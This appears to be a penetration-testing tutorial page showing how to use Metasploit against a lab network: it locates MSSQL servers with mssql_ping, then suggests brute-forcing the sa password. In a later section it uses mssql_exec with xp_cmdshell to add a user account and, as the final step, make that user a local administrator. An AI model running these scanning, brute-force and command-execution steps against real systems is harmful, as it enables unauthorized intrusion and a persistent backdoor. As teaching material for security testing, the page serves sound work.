Hunting for MSSQL a11y.text Hunting for MSSQL Using Metasploit to Find VulnerableÂ MSSQL Systems a11y.text Using Metasploit to Find VulnerableÂ MSSQL Systems Searching for and locating MSSQL installations inside the internal network can be achieved using UDP foot-printing. When MSSQL installs, it installs either on TCP port 1433 or a randomized dynamic TCP port. If the port is dynamically attributed, querying UDP port 1434 will provide us with information on the server including the TCP port on which the service is listening. Let us search for and load the MSSQL ping module inside the msfconsole. msf > search mssql

```
Matching Modules
================

   Name                                                    Disclosure Date  Rank       Description
   ----                                                    ---------------  ----       -----------
   auxiliary/admin/mssql/mssql_enum                                           normal     Microsoft SQL Server
Configuration Enumerator
   auxiliary/admin/mssql/mssql_enum_domain_accounts                           normal     Microsoft SQL
Server SUSER_SNAME Windows Domain Account Enumeration
   auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli                      normal     Microsoft SQL
Server SQLi SUSER_SNAME Windows Domain Account Enumeration
   auxiliary/admin/mssql/mssql_enum_sql_logins                                normal     Microsoft SQL Server
SUSER_SNAME SQL Logins Enumeration
   auxiliary/admin/mssql/mssql_escalate_dbowner                               normal     Microsoft SQL
Server Escalate Db_Owner
   auxiliary/admin/mssql/mssql_escalate_dbowner_sqli                          normal     Microsoft SQL
Server SQLi Escalate Db_Owner
   auxiliary/admin/mssql/mssql_escalate_execute_as                            normal     Microsoft SQL
```

```
Server Escalate EXECUTE AS
   auxiliary/admin/mssql/mssql_escalate_execute_as_sqli                    normal     Microsoft SQL
Server SQLi Escalate Execute AS
   auxiliary/admin/mssql/mssql_exec                                   normal     Microsoft SQL Server
xp_cmdshell Command Execution
   auxiliary/admin/mssql/mssql_findandsampledata                          normal     Microsoft SQL
Server Find and Sample Data
   auxiliary/admin/mssql/mssql_idf                                    normal     Microsoft SQL Server
Interesting Data Finder
   auxiliary/admin/mssql/mssql_ntlm_stealer                             normal     Microsoft SQL Server
NTLM Stealer
   auxiliary/admin/mssql/mssql_ntlm_stealer_sqli                         normal     Microsoft SQL Server
SQLi NTLM Stealer
   auxiliary/admin/mssql/mssql_sql                                    normal     Microsoft SQL Server
Generic Query
   auxiliary/admin/mssql/mssql_sql_file                                 normal     Microsoft SQL Server
Generic Query from File
   auxiliary/analyze/jtr_mssql_fast                                   normal     John the Ripper MS SQL
Password Cracker (Fast Mode)
   auxiliary/gather/lansweeper_collector                                normal     Lansweeper Credential
Collector
   auxiliary/scanner/mssql/mssql_hashdump                               normal     MSSQL Password
Hashdump
   auxiliary/scanner/mssql/mssql_login                                  normal     MSSQL Login Utility
   auxiliary/scanner/mssql/mssql_ping                                   normal     MSSQL Ping Utility
   auxiliary/scanner/mssql/mssql_schemadump                              normal     MSSQL Schema
```

```
Dump
   auxiliary/server/capture/mssql                              normal     Authentication Capture:
MSSQL
   exploit/windows/iis/msadc                        1998-07-17       excellent  MS99-025 Microsoft IIS
MDAC msadcs.dll RDS Arbitrary Remote Command Execution
   exploit/windows/mssql/lyris_listmanager_weak_pass        2005-12-08       excellent  Lyris
ListManager MSDE Weak sa Password
   exploit/windows/mssql/ms02_039_slammer                2002-07-24       good       MS02-039
Microsoft SQL Server Resolution Overflow
   exploit/windows/mssql/ms02_056_hello                  2002-08-05       good       MS02-056
Microsoft SQL Server Hello Overflow
   exploit/windows/mssql/ms09_004_sp_replwritetovarbin       2008-12-09       good       MS09-004
Microsoft SQL Server sp_replwritetovarbin Memory Corruption
   exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli  2008-12-09       excellent  MS09-004
Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
   exploit/windows/mssql/mssql_clr_payload               1999-01-01       excellent  Microsoft SQL
Server Clr Stored Procedure Payload Execution
   exploit/windows/mssql/mssql_linkcrawler               2000-01-01       great      Microsoft SQL
Server Database Link Crawling Command Execution
   exploit/windows/mssql/mssql_payload                   2000-05-30       excellent  Microsoft SQL
Server Payload Execution
   exploit/windows/mssql/mssql_payload_sqli              2000-05-30       excellent  Microsoft SQL
Server Payload Execution via SQL Injection
   post/windows/gather/credentials/mssql_local_hashdump                   normal     Windows Gather
Local SQL Server Hash Dump
   post/windows/manage/mssql_local_auth_bypass                            normal     Windows Manage
```

Local Microsoft SQL Server Authorization Bypass

```
msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > show options


Module options (auxiliary/scanner/mssql/mssql_ping):


   Name                 Current Setting  Required  Description

   ----                 ---------------  --------  -----------

   PASSWORD                              no        The password for the specified username

   RHOSTS                                yes       The target address range or CIDR identifier

   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"

   THREADS              1                yes       The number of concurrent threads

   USERNAME             sa               no        The username to authenticate as

   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires
DOMAIN option set)


msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24

RHOSTS => 10.211.55.1/24

msf auxiliary(mssql_ping) > exploit


[*] SQL Server information for 10.211.55.128:

[*] tcp = 1433

[*] np = SSHACKTHISBOX-0pipesqlquery

[*] Version = 8.00.194

[*] InstanceName = MSSQLSERVER
[*] IsClustered = No

[*] ServerName = SSHACKTHISBOX-0
```

[*] Auxiliary module execution completed The first command we issued was to search for any mssql plugins. The second set of instructions was the use scanner/mssql/mssql_ping , this will load the scanner module for us. Next, show options allows us to see what we need to specify. The set RHOSTS 10.211.55.1/24 sets the subnet range we want to start looking for SQL servers on. You could specify a /16 or whatever you want to go after. We would recommend increasing the number of threads as this could take a long time with a single threaded scanner. After the run command is issued, a scan is going to be performed and pull back specific information about the MSSQL server. As we can see, the name of the machine is â€œSSHACKTHISBOX-0â€• and the TCP port is running on 1433. At this point you could use the scanner/mssql/mssql_login module to brute-force the password by passing the module a dictionary file. Alternatively, you could also use medusa, or THC-Hydra to do this. Once you successfully guess the password, thereâ€™s a neat little module for executing the xp_cmdshell stored procedure. msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec

```
msf auxiliary(mssql_exec) > show options


Module options (auxiliary/admin/mssql/mssql_exec):


   Name              Current Setting                    Required  Description

   ----              ---------------                    --------  -----------

   CMD               cmd.exe /c echo OWNED > C:\owned.exe  no        Command to execute

   PASSWORD                                             no        The password for the specified username

   RHOST                                                yes       The target address

   RPORT             1433                               yes       The target port (TCP)

   TDSENCRYPTION     false                              yes       Use TLS/SSL for TDS data "Force
```

```
Encryption"
   USERNAME             sa                                   no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false                              yes       Use windows authentification
(requires DOMAIN option set)



msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user bacon ihazpassword /ADD
cmd => net user bacon ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit

The command completed successfully.

[*] Auxiliary module execution completed
```

Looking at the output of the â€˜net user bacon ihazpassword /ADDâ€™, we have successfully added a user account named â€œbaconâ€•, from there we could issue net localgroup administrators bacon /ADD to get a local administrator on the system itself. We have full control over the system at this point. Next Service Identification Prev Port Scanning